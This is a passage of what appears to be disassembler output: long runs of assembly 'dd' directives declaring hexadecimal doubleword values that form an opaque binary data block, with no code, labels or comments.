dd 971C00A4h, 4D03420Fh, 0EC00B8ADh, 66D69B48h, 0C72016h
dd 93EFD241h, 559E7F75h, 4FE9A10Ah, 39C83Ah, 0DF03071Fh
dd 0F34ECE32h, 7D5AD8h, 0AE77AF60h, 61FE8783h, 0ECFFC8CAh
dd 0AB260F60h, 773C00EFh, 0B3EC4937h, 580089E9h, 0BD7687BBh
dd 205CC6h, 399B4C6Dh, 24A93459h, 0C8375716h, 122C4001h
dd 10307AE4h, 0EC67003Fh, 25AD309Ah, 0FE00DB2Bh, 0F4A93CE2h
dd 0E76C1Ch, 0C284D492h, 71462EFCh, 2407C4A4h, 39E6117Ah
dd 9C2B3AF1h, 0FC2DED0h, 8910E29Bh, 0E487EB29h, 0BABE1196h
dd 8E0F204h, 0A01C875Ch, 0E1DED403h, 4AD2E681h, 287452D7h
dd 0C6AE0020h, 7253E395h, 8300CFF0h, 0E0F6F3CBh, 1E06B0AAh
dd 0E426225h, 4CE09F99h, 597E5A3Ah, 0CFBE2200h, 274D44A5h
dd 5C1800DCh, 0D14BF90h, 421D94D7h, 8000A007h, 818708A6h
dd 0FEA33E8Ah, 4EA73BBCh, 3600525Ch, 6B4426D0h, 13A703FAh
dd 28B1DA1Dh, 13338F8h, 17ABF91Dh, 0ED152A40h, 9C5E1Eh
dd 1D4888D4h, 59799061h, 0B0D25A00h, 22201729h, 0C8620581h
dd 0C0B3EEF7h, 0ED58BE3Ah, 9D152504h, 98C0735Bh, 18B4DE05h
dd 0A0F7AAD0h, 0E173C434h, 6CA83800h, 0A4F0F2F3h, 41A10490h
dd 8345AE6Fh, 6DA89E82h, 7900777Eh, 0E33D8CABh, 688BDCh
dd 0FD4CBF38h, 0C8ADAAB9h, 0BB6521Fh, 890269C0h, 28DA7BEh
dd 0AEE8DFC4h, 0F1C02861h, 500B907h, 0C3F964BFh, 9A462h
dd 0E4A10E40h, 0F2756561h, 0E72CDB00h, 0E88D4D39h, 9F0A00B9h
dd 0BA572F6Dh
dd 3C00EA50h, 7FF98BCDh, 0DB7BADh, 10F01949h, 6D3F075Fh
dd 8375Ch, 0E29A8503h, 1F25C530h, 0C00A5CB6h, 0A259AEA9h
dd 0B5004C10h, 7E283A32h, 3F048F4h, 738C2A7Ch, 64E8E457h
dd 0A7F890D3h, 1750DF7Ah, 8500C491h, 59456247h, 0C92291h
dd 553F97CEh, 696692D7h, 7C018977h, 11AEEEC3h, 0EFD07B73h
dd 3680017h, 0E4BF94DBh, 6000C1D5h, 0D75BD48Bh, 0C3A50Bh
dd 0FBCC9012h, 3A23F8FAh, 99893Eh, 0B05364C2h, 1FB8A6h
dd 5F6E43C5h, 7C13AE9h, 96FB7400h, 940D5245h, 0B97B8Bh
dd 4444AD4h, 557E37FEh, 95EAF5E4h, 0DD6A8C00h, 0D9B087F6h
dd 75D80751h, 0A0A6882Eh, 35664E4Fh, 0D6081A0Fh, 0AB81C061h
dd 0A9475Eh, 2629A07h, 0BD14EFA5h, 0D890400h, 61DE8271h
dd 0DFA11357h, 0D6900731h, 0CAE46145h, 46D2C8FAh, 5EBAA200h
dd 7123B53Eh, 0F6C47606h, 2864C061h, 42F81BBCh, 0EB3B7800h
dd 0C6CE8573h, 709B60E8h, 6EC46B4Dh, 0AB160300h, 8D18471Dh
dd 0AC2B1394h, 660B0045h, 46F24A62h, 567FF600h, 0E30CD6EAh
dd 38644812h, 0F86DB700h, 0BD3C5948h, 0EE967E00h, 0BB5BB6ADh
dd 0D5D6C5CCh, 0D3688061h, 893D4EBFh, 75950FB9h, 0F9632CA8h
dd 41DE0027h, 43805FCFh, 970FCD3Fh, 40204604h, 1B7C13FBh
dd 38E7482Ah, 9917B680h, 0C524A891h, 833D0050h, 46D8931Ch
dd 7D4DF951h, 3D895880h, 4247DBD3h, 0CA0744F0h, 0A34AD663h
dd 21D70630h, 1B910020h, 60BA99B5h, 0E900590Dh, 3D97D55Bh
dd 16F9A7F3h, 0C53DCA8h, 0A32EF521h, 66006977h, 17C21C02h
dd 188E48Eh, 4DA1488Ch, 0E056AFB8h, 4C066299h, 0CFEBB07h
dd 83E50012h, 0E3BE6F12h, 4D008A64h, 6DFA86DCh, 18B86B71h
dd 38892BE5h, 73247BAAh, 5100C03Eh, 0C0222A98h, 0BAAB0078h
dd 839281C3h, 7600F6C2h, 5F3A7BBh, 1CDDF249h, 8BFA5Fh
dd 0DFF43768h, 901C7FB3h, 40C0190Fh, 46219DEEh, 89F3001Bh
dd 99BDDC91h, 0CCE5F6CEh, 0C70044EBh, 3ED99F27h, 29168Ah
dd 80CCDAA3h, 0E51D4274h, 0F06BCB39h, 0FA12D50h, 0BDFFED00h
dd 8B571E25h, 94EB0EC3h, 6CC09887h, 528AA4B5h, 2C0E9BB0h
dd 3727635Bh, 92473D00h, 544EEAh, 39BE1933h, 15A3D78Dh
dd 64384C00h, 7068ECF6h, 77D20E67h, 83604798h, 73BBCB48h
dd 0F20355Ch, 0E1C427E0h, 3B8FBDFCh, 7D30F4C5h, 32A005Bh
dd 0FD98D9D3h, 1600978Ch, 72470FF3h, 6380EDAh, 0DE8DB11Bh
dd 0EC0164A0h, 0E4AE3B58h, 0B440A17Fh, 369397h, 7B198999h
dd 0F0AD4964h, 3800ED98h, 0A287E68Ch, 24367884h, 0F2177h
dd 0E42CDD7Bh, 3800F720h, 4CDB250h, 5D91DEh, 0D89F3108h
dd 538060F8h, 250DC000h, 0DC45EFE5h, 8B5900A8h, 5AC2741Bh
dd 30011CC6h, 41A00C7Eh, 9CF04FECh, 0D1DF13A6h, 0B0F902DDh
dd 8FE04C11h, 0C80022AAh, 42A19955h, 0A65BDAh, 0ED90BF40h
dd 21A3A7E8h, 53DE0800h, 94AD969Ah, 0C64EA8Ch, 7170CEFFh
dd 0C0000648h, 0D52F5C3Fh, 1C3BC25Ah, 65F02Bh, 4C5B72DEh
dd 0E026603Dh, 0B300C705h, 9A6D40FCh, 7509874h, 6369DFA5h
dd 70EBF00Ah, 0A903C451h, 1D492FCAh, 3E207B30h, 6B00861Ah
dd 89E0D506h, 0E8F9A411h, 2B038BE4h, 49035478h, 0A51DA042h
dd 0DCDB000Bh, 6983ED55h, 901F8A2Eh, 2C070EF0h, 29B04008h
dd 2C50760h, 7A2E30A0h, 0F0A113B5h, 0D0843B9Ah, 150062E3h
dd 587808C9h, 0DCC59Ch, 30C75697h, 754F64A8h, 0DA6CFF00h
dd 514B3F88h, 0A7050021h, 626B61D3h, 8A00524Dh, 72E1C80Ch
dd 135A56ECh, 9C752Ch, 0C46A0828h, 0AFFAE469h, 0E7479002h
dd 60F2464Fh, 13B1F1CCh, 0C7B796h, 7AF9FF74h, 33008E32h
dd 726EEE9Fh, 0E870BAEh, 0C02D6CC8h, 65D69260h, 700A7BCh
dd 0D09F5BCEh, 0C3CD05h, 9C0C9DA4h, 2B181B47h, 0D34D88F2h
dd 344722Ch, 1ED40F86h, 87604F1Ah, 0F2CAA74h, 0BF14EB00h
dd 0D58265F1h, 0E08C3945h, 7A01E305h, 310800Bh, 0BF00DDE6h
dd 4A75F25Ch, 0BC8E6Bh, 8BBF3C1h, 88531C62h, 0C8E5FB00h
dd 0C51513C2h, 765F005Bh, 31D46480h, 1F0FD0FDh, 0C3099589h
dd 88DEB1E4h, 29F81A7h, 45ADE7CCh, 4440A214h, 0B17939A6h
dd 901A2400h, 77CE6567h, 765C2ECDh, 0E087007Ch, 0C37A940Ah
dd 0B173D600h, 0A0EC51E2h, 2F0C2B7h, 10C4DD57h, 0D0C86426h
dd 0DBFC1903h, 4CBD906Dh, 1760E5Dh, 884D3009h, 9689F460h
dd 529ACFA0h, 0EAF5B815h, 88FA2EA0h, 7F70CC50h, 0C1B80052h
dd 0B1C75535h, 0AC740D30h, 0D2C87802h, 4179A442h, 0BCF95810h
dd 121398D0h, 2FC0B60h, 21269519h, 0FA01C7E0h, 245B7700h
dd 0D2F3697Dh, 0BAB90096h, 201DC508h, 4B01AEE5h, 49166485h
dd 0F430D650h, 38257BA4h, 0BB803A99h, 5FD048EAh, 0B917E2D2h
dd 4C1DB15Dh, 0DA81B5C0h, 0E2E17h, 733A0356h, 8D846DFh
dd 0F998438h, 40488F71h, 0A8541C5Fh, 0E09700D9h, 0A3E17898h
dd 0AD17EB6Ah, 2AEA5ABh, 5ECBCC46h, 3FB394C0h, 73D27100h
dd 30810852h, 404A07CFh, 0E71DC6F7h, 0D15F37B9h, 710AE8D7h
dd 0D408312Eh, 0E40066A2h, 9D30EF33h, 7F02972h, 0E79BB97Bh
dd 743C71Ch, 0AE8EB02Ah, 16335358h, 0F8BEF036h, 0B15E03h
dd 6E9465F2h, 74DBF05Ah, 33D6A900h, 0E16AAE6Ch, 4DC7BC8h
dd 85E3F95Eh, 572C83E4h, 0BA2420FFh, 9E3A7F25h, 3E0603DEh
dd 0CA49D7BFh, 0EBB0414Ah, 8E249C32h, 9C2408h, 89BBE565h
dd 98074EDBh, 3DCD1B76h, 80E0DA20h, 74BD751Dh, 0C4B0B5h
dd 6FEA693Fh, 3675DDD5h, 0D6574700h, 40EF804Eh, 9BA900A8h
dd 0A7441169h, 4C9862E9h, 0D5579D01h, 1917DEF5h, 0C063E6D8h
dd 305B4418h, 843B59F7h, 902B26EAh, 0C140EC00h, 3A8F89ACh
dd 681F1A9h, 0F29A2360h, 0AB002078h, 0A6027200h, 2563D12Bh
dd 2F530064h, 0DA0549C9h, 234814B8h, 0F35500D4h, 80E2CBCFh
dd 5DFD00D7h, 0F73E9E7Ch, 0BE13EBF6h, 0C800C598h, 0B21A8B4Bh
dd 11080034h, 0ED6F5496h, 0C4BAF865h, 0EC00F673h, 932B38A9h
dd 0EB29C3h, 0D6E124B4h, 945E7E58h, 0D5BB0612h, 4E00D7A8h
dd 504AE0C5h, 0E23CA428h, 0CECA80ABh, 0EA148D6Bh, 5F1C0055h
dd 80AF06E0h, 0BC0A015Eh, 0D4C103E4h, 8F9F5780h, 2A61085h
dd 0DCB6387Dh, 8C50869Ch, 8107CFFEh, 0A63DD3ACh, 4D65E770h
dd 0E8330B8Ch, 80DF24C0h, 82BB8570h, 1CCB006Ah, 70AA1FE9h
dd 54988E30h, 8B312D07h, 737265F6h, 0E682C018h, 0D25107ADh
dd 3FD6DF8h, 77908740h, 94000885h, 0CA22B812h, 72C9054Ch
dd 7BC60078h, 0AA724AB3h, 3E74F241h, 193D3Ch, 145FE15Ah
dd 3AC26E59h, 0AD809DACh, 1E5C3A98h, 7B00FE28h, 4E0D2937h
dd 173353E9h, 3C739Bh, 7DB74844h, 5D0092DEh, 99069385h
dd 1C38481h, 0B20996F6h, 0F4CC4E0Ch, 3213911Fh, 0AB00D813h
dd 0D15F10FBh, 5EB50023h, 3DC924DBh, 7C05EB25h, 429863E0h
dd 25A600C8h, 84009416h, 0A460D175h, 0FD033FE0h, 8D56EDB5h
dd 0F483E0CFh, 3C3CB2A8h, 359DFB24h, 0E315C3EEh, 2900E04Fh
dd 9F4B444Ah, 9F0D253h, 0DCAF7127h, 33DBA887h, 5AA06914h
dd 616F9831h, 22E18070h, 71AE1AB5h, 16D23F9Ch, 454A6000h
dd 46AC891Ch, 50189E27h, 0DE190074h, 0C705353Ah, 0D50086CFh
dd 56B90D9Fh, 15C162Eh, 7FB114CBh, 0F00B9960h, 5300A3F6h
dd 911B6D12h, 0FB9B0Dh, 56D36807h, 0DE5BBE73h, 0B520E10Ch
dd 1CF78ACh, 24ED4AD9h
dd 80BB0D3Dh, 14D00920h, 2855DB6Eh, 165C9D31h, 41B4F5D3h
dd 7436343Ch, 0F61BE4B3h, 0C90083E2h, 0C2FC72D0h, 14A3BA4Ch
dd 0EEB6DA16h, 0CAF41900h, 283852BFh, 3D889800h, 4007B52Dh
dd 635900FCh, 26ED3A84h, 2700D9B2h, 0DEBC9745h, 765A2D03h
dd 5CDC0096h, 0E4D84A3Ah, 0DF00A2AFh, 8DEF2B67h, 0A040CC4h
dd 0A787968Ah, 68510CF5h, 0E90063B0h, 0ADDDDC7Dh, 18CD93D0h
dd 0C11BBAB8h, 610119BBh, 47E3D21h, 64744441h, 91B800E0h
dd 471BBF8Ch, 0A00055D8h, 1F72CE35h, 15F202Bh, 0A39A86E2h
dd 0CA24C81Ah, 58571060h, 0B1DF41C0h, 0C0C77Bh, 0C4A5EF2Ah
dd 4A445E59h, 6E13CE02h, 0E07AAAC5h, 979F5210h, 483B5BF8h
dd 8EBA03BCh, 0C8B48550h, 3EF269B9h, 1B00C522h, 0C831DCCEh
dd 5C000F7Eh, 3C533497h, 1422DF10h, 0B9071DDBh, 7D6D1900h
dd 0A458AC82h, 0B01B5A0Fh, 5115A53Fh, 0DA12E040h, 34B17FCh
dd 106D906Eh, 93E94F67h, 5EF1F0D7h, 0BE8529C2h, 988470E5h
dd 64B70643h, 0B879F345h, 0F0C19900h, 0ED6078DEh, 0FDFF03A6h
dd 99ABF84h, 8F55F598h, 1328A15Dh, 0C0017102h, 9AC283EFh
dd 3022AC70h, 0E3F05124h, 0EA725286h, 59D158h, 311296DDh
dd 1AD9476h, 66EE05AFh, 208B99F8h, 60000880h, 0A4159E39h
dd 0E3A5B86h, 484652Ch, 20C0FE86h, 4913C600h, 361B9C11h
dd 7F44FE23h, 0C1310190h, 689660FBh, 0C09720E2h, 9DB7E83Fh
dd 0E6015155h, 90926D5Ch, 21800CD1h, 0CB07CDA9h, 0D50037CEh
dd 4516696Bh, 160C443h, 0A42DC1FEh, 0E3E6C08Bh, 802CAAF7h
dd 4F9A44B8h, 4486913Fh, 0F300C839h, 2B0CEA07h, 3138CD64h
dd 99C18AE7h, 0E2F0F8EEh, 100E5C30h, 0FC78B720h, 0D7B90C8Eh
dd 900983F9h, 0CEB8F700h, 4E7ADD43h, 31810035h, 25200319h
dd 0C600FD12h, 0AF24F774h, 70CD0E0h, 0D5CDD2E2h, 28CBB688h
dd 0C00B1800h, 0FFB5B0E5h, 0BC251DF3h, 1AE40CE0h, 0F40BFA20h
dd 803267C0h, 0BF3F1B78h, 17D63CF8h, 0EBE20D81h, 8D2006B7h
dd 608A8C88h, 0ACFF2080h, 59BFE203h, 0CC89A500h, 33DB425Ch
dd 0E70138F1h, 8DEAD307h, 0B1176065h, 4900D1EFh, 52CBAE7Ch
dd 0E9F9C11Dh, 0EE926E0h, 0E247897Ah, 53135420h, 6D00953Ah
dd 841D18FAh, 0CE9F2A5h, 8CBBA681h, 22849628h, 0D82262A7h
dd 822122A6h, 448408FBh, 28A04C79h, 0AE888EB5h, 45EB883Eh
dd 77C828Bh, 0CF7AA09Bh, 2F384133h, 1152004Eh, 27CE9A82h
dd 327205CBh, 0C484F67Eh, 3C58C045h, 973E7A79h, 0D800F78Ch
dd 0C7A2D76Ch, 0B98031h, 788ADBE1h, 0F97C3F88h, 46E6BF0Fh
dd 11A8808Fh, 0FCB02A1h, 0C274559Ah, 57AB5B61h, 0A605EC80h
dd 0EA8241Dh, 44C47740h, 7B16094h, 8E1229F4h, 2D2F38Fh
dd 0F0305391h, 203BB5D6h, 0B488098h, 0D5A5276Fh, 0CDC80014h
dd 0C59F4D6Eh, 26005D06h, 82E395BDh, 0E665B321h, 8F0D0598h
dd 0AE436Bh, 0E19AD8D8h, 8774C988h, 7400AD7Eh, 90F280FBh
dd 0F9576CEh, 70D78DDDh, 0F0CA3F07h, 0A3BFD60Bh, 0AF572303h
dd 0E82DD382h, 3A72CCh, 250D5386h, 0E13C0CA0h, 64D4F500h
dd 0C4B0B648h, 40D809C1h, 142046F8h, 8E17CAE1h, 0EF50A409h
dd 565C00FCh, 769D29Bh, 7BDBBFA9h, 436F60B2h, 6701E3D0h
dd 0F10DA09Ch, 8A60B6DDh, 0EB1B004Bh, 9A9148A2h, 0CA00BE3Bh
dd 49397799h, 549232h, 0A0FBE178h, 0ECF9045h, 185E1900h
dd 0B3170398h, 41300B4h, 520BA2D8h, 820FD03Dh, 2098E6CFh
dd 48A57AACh, 7F5E812h, 5F6F734Bh, 0CEAE201Fh, 45037DABh
dd 92753042h, 56809152h, 0E70C70h, 0D52F1AB3h, 18B6B821h
dd 0D045C300h, 689319F0h, 405700E1h, 2E1F8A54h, 0D42C0B27h
dd 9500FC51h, 0DBBE384Fh, 141B00BCh, 0E9DAFB58h, 0CB05DBAh
dd 0C96CDE00h, 8F4572E0h, 5ABE04C2h, 8759B76Fh, 98467076h
dd 0F900D231h, 0C8E24F0Eh, 7073BA66h, 0AF300A3h, 4D196B65h
dd 4500864Ch, 7406FE13h, 0A3B3282h, 0C229D287h, 42760092h
dd 0A1C8B761h, 763EFD3Ch, 7787C700h, 0D5A66766h, 10B90037h
dd 9F073FBAh, 3C00F0E6h, 0C3A9CA08h, 439DC8h, 4408192h
dd 137AD1CBh, 0F2603F00h, 39CCD307h, 2AAA00F8h, 0E10D34A6h
dd 330731ACh, 0F92E89C4h, 487795C0h, 0D17D0068h, 739E7869h
dd 62091ECBh, 80B282BDh, 7C514C6Fh, 0BB139D3h, 0EB284989h
dd 96C61420h, 0A4A034FAh, 5E9C9354h, 0AFF7DC00h, 177F812h
dd 1E8CD053h, 2065A2CFh, 2A00607Ah, 0ABC20C9Dh, 11EB79h
dd 41DAC0CDh, 0E254BCE7h, 845D8D04h, 0ABE8EDh, 9CD8CEC7h
dd 0D6007618h, 43F53326h, 0FBE3EFh, 63302848h, 24570172h
dd 91250703h, 604140DFh, 0EF44F8ECh, 0A0EAD9Ch, 7DD6843h
dd 0BC60963Ah, 16423C7h, 7F7AD072h, 0C490A1C6h, 99000F41h
dd 3CAF5063h, 1BAD6E0h, 4EB7ECAEh, 0CCEDC4C1h, 0BE0028D3h
dd 0ACCB7106h, 0C2279Fh, 0D445656Ch, 14691DB1h, 887A3D01h
dd 7B66724Ah, 0E654DCh, 49D87817h, 92953C1Dh, 3E2F148h
dd 343AE994h, 3D608FE5h, 1CC86913h, 0A1F66Eh, 0BF5156E1h
dd 0DD0028CAh, 0D6E9E6D3h, 1DAEE89Eh, 417F861Ah, 9261EB0Fh
dd 0E980C669h, 0EF07D834h, 0D3B9250Fh, 0AFCDE0D2h, 50FBC5h
dd 213A674Ch, 1CE09640h, 24757A00h, 1763D915h, 27640029h
dd 690358AFh, 557DD5F4h, 6B142800h, 43B484CDh, 3AEF00CBh
dd 2AB867E1h, 0EE01B156h, 529F7A59h, 89206F07h, 65933E34h
dd 55DC5700h, 64F8AF62h, 0EFE7AA03h, 0A0967D99h, 7FD0D936h
dd 23350141h, 5DAB653Ah, 0E1FECCBCh, 0D100CE7Fh, 0AF8FE3E0h
dd 73DA703h, 0F299142Ah, 7335701Bh, 58009E54h, 8D7877EBh
dd 5C217EAFh, 0CA00BE36h, 855734A3h, 0C1018CB8h, 0E38DF766h
dd 81D07C26h, 5D8F004Eh, 0B421879Dh, 0F70050EFh, 59F91E0Ch
dd 1605C78h, 0BF2B4A29h, 0CC320E5Eh, 1839A337h, 2F8F807Eh
dd 5B41A5D9h, 14D60E51h, 0DB206D94h, 6CA33863h, 8DFD3000h
dd 39A405C1h, 0FA480350h, 6F420896h, 0A22426F8h, 0C7B50C00h
dd 21711A85h, 779A3E4Ah, 0F87B940Fh, 562216ECh, 0C861BC00h
dd 4B5B9F35h, 63DA01A1h, 1E0481C9h, 6D49D8DCh, 0CBAC71C0h
dd 1CABF305h, 33341B0h, 8ADAF87Eh, 0C5A27DB0h, 36EB0D00h
dd 3A4A7F38h, 0E01E6566h, 39C980B1h, 0F34CE494h, 242E0044h
dd 7015A6C4h, 64CF00FBh, 1A3E106Ch, 6903305Ah, 0C7367DA8h
dd 0C0780227h, 0DDA3642Ch, 3817FDC0h, 9C623100h, 7001C4F6h
dd 0A307EF7h, 0BD34B63Ah, 0E5BE02B8h, 0C710F560h, 8ED800ABh
dd 8A25348Bh, 92000230h, 9C6BCBA7h, 7A879AC1h, 6695016Eh
dd 0C8D22025h, 85B8CC51h, 897B4E1Dh, 2A8CE2C0h, 0FA389B5Bh
dd 0D08E0035h, 1791DBA6h, 0B23DD7DCh, 656980A5h, 0E0C55DF7h
dd 0FABC0FB1h, 9EE711BFh, 0F2BE7036h, 48003A4Dh, 0D2F778FCh
dd 30F4BB2h, 0D9FF2B8Ch, 9490255Fh, 9900E2F4h, 0FD7802AAh
dd 0EA6EC96Dh, 130400CCh, 8653156Fh, 291CF660h, 0D080B2FBh
dd 5E4BC6A2h, 0D57B00E6h, 0B7A8182Dh, 9800033Eh, 65EE8284h
dd 0D0B8DEh, 0D3935E1Eh, 4B67CB26h, 4F94CD03h, 0D0072F6Bh
dd 1D6931h, 3C06053Ah, 0E2B835C6h, 40906100h, 0F7A09D6Eh
dd 580F7E11h, 0B100D07Dh, 0B7B6CC01h, 1C00A7F9h, 2C07C683h
dd 0A5EC79h, 4197EB0Ch, 20F8F510h, 0C3E5900Eh, 0E1BFA00Bh
dd 0FCF02BB5h, 6DD05863h, 75D44800h, 36F49F0Ah, 0B8A4AC00h
dd 84DAFA4Ch, 60DC7878h
dd 0D835382Bh, 0F5032821h, 2A1207BDh, 88180029h, 53731C5Dh
dd 0D700BE96h, 546074DEh, 0B46D4Eh, 8592E4C5h, 246E46F5h
dd 0AC0DC11Dh, 1D10DBC0h, 756FD0Ch, 84297104h, 4426417Fh
dd 158B907h, 8353E9BBh, 0D8804041h, 0F0595135h, 0F9002BC0h
dd 0A6F45486h, 82345h, 9E90AD0Eh, 0C2D7C0Ah, 6A6D0201h
dd 0FF99D8Dh, 7A8EE0h, 8C89E61Ah, 31C5F326h, 8894B200h
dd 6A4CC98Bh, 8A4A0EB9h, 6B6787EBh, 4E9F8016h, 0E700C570h
dd 1C6F1063h, 6544BCh, 0FBC15DC8h, 0CB25D9C0h, 0D1597004h
dd 9C800A11h, 91FAF3h, 0A515F6A6h, 0C9E2ED4Ah, 0F7F1A001h
dd 0AA45DE62h, 108C30h, 1DD82E9Fh, 0CC9D9016h, 0F681C501h
dd 118C82D5h, 636EC8h, 0EE30DAE5h, 0A6BE8BF9h, 3C101F00h
dd 0BBE902A3h, 947F042Bh, 80DCB216h, 0B6B475D0h, 24ED6500h
dd 39CAE7DDh, 742209C2h, 1C8098D5h, 0AE3E6448h, 6E65850Fh
dd 53B5406Fh, 0DD6334h, 73DB12F5h, 0EF76F8D3h, 0FAE730C0h
dd 0F003DC52h, 9A4500A5h, 57C36799h, 0C2008DD1h, 189D9B1Ch
dd 49F8848h, 0DC8B8934h, 0C9388041h, 75F88297h, 2C9BC800h
dd 0F2A8F1EDh, 0B03F48D5h, 0FEB33900h, 4D306A6Fh, 1D3B4300h
dd 8BD3AAA3h, 49280682h, 883E807Eh, 0B1BD9500h, 4FE9329h
dd 0FDCA065h, 0AF190111h, 0AC46EC8Dh, 0F367C887h, 4A51DE00h
dd 0BB54794Dh, 0F4A3F46Eh, 841E1818h, 7C38206Dh, 7EB02500h
dd 0D2FF6EE9h, 2EAF0FD4h, 0ED063071h, 14006095h, 9F8A4EDCh
dd 0E97A83Dh, 0D35EF0C6h, 0D81AD1A0h, 827B8C0Bh, 0CF678800h
dd 45E7E9E2h, 78F900D3h, 0BE3260CBh, 0A9173F3Ch, 9D006BEAh
dd 0E77BD531h, 426300D8h, 27EBB045h, 7C3C9124h, 0D7FB80A7h
dd 8C7B83F2h, 533300B8h, 1BA9C8C4h, 56005505h, 4ACCAD1Fh
dd 437B13h, 0D788C08Ah, 0A61B4782h, 0DB51421Eh, 0EE8F6E80h
dd 4C8A1614h, 6A18622Fh, 2AE92018h, 44D9F803h, 998782h
dd 90123E29h, 3235333Bh, 391C102h, 0D79E1E0Eh, 8C0FF163h
dd 3393B7Bh, 8F635001h, 4BA0F2D7h, 0F02DFEh, 21F9BBCCh
dd 914D1E3h, 0EBF4400h, 0A7B1F6C2h, 0AD9B502Fh, 0B0F8009Dh
dd 0D77D6B2Ah, 1200339Fh, 55C4CA4Ah, 7A729AFh, 0BC2DAD81h
dd 2AD2E319h, 0C9DBE5F8h, 5B4ED900h, 31CDB79Eh, 0CB28002Bh
dd 0C1F950E6h, 0D9001DDAh, 26B422AFh, 0EE5F3FCDh, 40A1D84h
dd 0F7638030h, 0A74A3AAAh, 0D4E9A00h, 6C996D96h, 0DB560514h
dd 4EF0AB06h, 0AE5F6C0h, 0B3FBC036h, 0A97E3009h, 60D77B00h
dd 0ADD854DFh, 8CC400EAh, 8D6D3FB0h, 0BF02BD12h, 3166B7FBh
dd 7935C16Fh, 508708E9h, 0C07E3934h, 2A0E858Ah, 14E84000h
dd 634BCAD5h, 96950173h, 12CBDFAh, 808B71E1h, 66F328E8h
dd 0A7AFD7h, 8C7332EAh, 4116E4E5h, 0F8BCD151h, 3F00602Dh
dd 915C34C4h, 220D9B8h, 17F3AA36h, 0EC8071F9h, 265D89E4h
dd 660025EEh, 48643B86h, 767F9892h, 215103F0h, 3FF75D81h
dd 603EFF0h, 0ABE75B00h, 9A32B4ADh, 0F11B0126h, 0F263D562h
dd 46A9D4A2h, 5C28EC17h, 0A820EEAh, 7ED86400h, 3B00CB8Fh
dd 0BEB5D45Ah, 0E07132h, 88BFB0E9h, 9B84708Dh, 0A22F3F02h
dd 0F7B2819Ch, 4CB5F00h, 29097607h, 0DCBDFCh, 0B33EBB78h
dd 0D7160C41h, 0BF0F3E8h, 80056E00h, 0E3D213DBh, 38373A56h
dd 557DC54h, 9AE465A5h, 0BCA80EE1h, 9ED8BBC1h, 774884A1h
dd 0AB03F183h, 0FBB0EC4Ch, 0FF16D923h, 7800FAA4h, 391A91E5h
dd 0C050C07Dh, 63163A7Ch, 40DF87A2h, 6946EDh, 5B869F82h
dd 97A760Eh, 2AFBF02h, 406ACBD3h, 366D6B0h, 0F9F46992h
dd 26F0DFE9h, 0B801A741h, 4DA1E36Bh, 0DEF9D1C3h, 4488D4h
dd 85F4E048h, 0CE8D11EDh, 0B509EC00h, 0D38F5759h, 552D00E1h
dd 58483129h, 0FE01EBAAh, 94D8D75Ch, 0CB70A08Ch, 0F7C609E8h
dd 0C210280h, 203060CFh, 4800B383h, 0C2BEED5Bh, 3943F3C0h
dd 3D80A1EBh, 0DC41955Ch, 4B065416h, 1D6E05AEh, 31FD0040h
dd 0AAC92066h, 36B8A7FBh, 70743905h, 4A807313h, 92A32C1h
dd 9B17ADE0h, 72140F80h, 4200E893h, 0FA0ACF3Fh, 53EE28h
dd 0BC69D9A6h, 84D4C8BDh, 9939DF28h, 3061E500h, 0F828B9E2h
dd 0FDEE53h, 0B7F1A69Fh, 0BEF26260h, 25D6B00h, 0CE7879C9h
dd 17EBFED8h, 1CCAB1FCh, 2600BE50h, 0EC7FAB88h, 2009611h
dd 331A3C6Ah, 551391Bh, 650AA79Fh, 0BED020F9h, 0D8487872h
dd 84453D15h, 73361A6Ch, 42079480h, 0E4D43D6Ah, 6057E880h
dd 97CB52Dh, 0F4175B00h, 9CB77188h, 0D11F038Fh, 373AE857h
dd 50D46591h, 50F4EB98h, 4DD5DC01h, 88E83BCFh, 0CA58DC0h
dd 66422316h, 63030968h, 0C04AB6D5h, 7BE490ABh, 596D00A5h
dd 8E0B4287h, 0F000DF91h, 548365F7h, 60D2AA76h, 0E122D0D7h
dd 6800444Ch, 0D61AF689h, 0E27672D4h, 0CB5500DFh, 0DEA7E740h
dd 48009D4Eh, 829A2CB3h, 1E7B91h, 46ED92BBh, 4981F5C9h
dd 0A2EC1004h, 0B809EDBh, 758EA53Dh, 946301C1h, 1588AE44h
dd 6C08201Ch, 6A007C7Eh, 0FE37C63Fh, 0EE5940h, 0E3AA0354h
dd 0BEEC6FD9h, 8AA41B00h, 7F5B8033h, 49193B3Dh, 6CFAB880h
dd 0B880724h, 36E9A100h, 26A5BB08h, 0BC9C006Dh, 7990D4C1h
dd 20098B82h, 15312FDh, 63DC2548h, 9E9C9D00h, 0FE542B00h
dd 0FA6CB0Dh, 475700DDh, 0CFA75F6Dh, 85174FDAh, 700101A1h
dd 75230B0Dh, 5D4820h, 33B02D91h, 4BF50CF3h, 0A8F61C13h
dd 0E67B3C00h, 3FFAEDBh, 8343ED47h, 6FB839C8h, 100386E8h
dd 50A635E7h, 0B5E189DEh, 28982EC8h, 0E47D09h, 87BC3C6Dh
dd 639023F8h, 16ABB006h, 1C4098E7h, 40665264h, 1BBD9FE0h
dd 0CB7CD7E4h, 9BC64F00h, 204DAC5Eh, 0DB90083h, 875D9CF5h
dd 28006FF9h, 2CC6BDEFh, 0FBC793h, 60A722Eh, 0B7E22280h
dd 0E8F29500h, 0AE52C4C8h, 0FBBC010Fh, 0CB65A186h, 7213D85Fh
dd 6800D073h, 0B1B206A4h, 7B8D47A5h, 0E2A4C3EAh, 0FD98B6h
dd 3861AFACh, 5A00E0B7h, 7DC58597h, 31EFA0h, 0DA3B7CEBh
dd 758B9558h, 40F7241Eh, 0BA075D5Ch, 0EF778C04h, 43AE4510h
dd 575A0248h, 2B92A506h, 30BFDCC3h, 7C463327h, 3365A02Ch
dd 2104332Ch, 0B89039B9h, 5AF35Eh, 0AE2DE0Fh, 0F09FC41Dh
dd 3F0C6C00h, 669207F8h, 2FEA0F76h, 0C4C4EC16h, 4F64C059h
dd 0E017091Ah, 9C039638h, 0C828A4BAh, 1203A519h, 0A80AE6h
dd 0D101868h, 709A1390h, 1CB40110h, 50323910h, 0A30011D8h
dd 335AFF8h, 1E94E86Bh, 0C03C9D16h, 0D48A28BAh, 4F24426Dh
dd 43000609h, 0CBF82295h, 3BA5039Eh, 3AE33757h, 667360A8h
dd 0FBADE100h, 31043601h, 12DF004Dh, 6E392DCCh, 0FF1E64A7h
dd 1CFC0348h, 4240D097h, 95A004FAh, 5CEB4CE8h, 0D51FBD00h
dd 36B51A96h, 6C74F300h, 53CEB63Ch, 0F14007EEh, 701BE852h
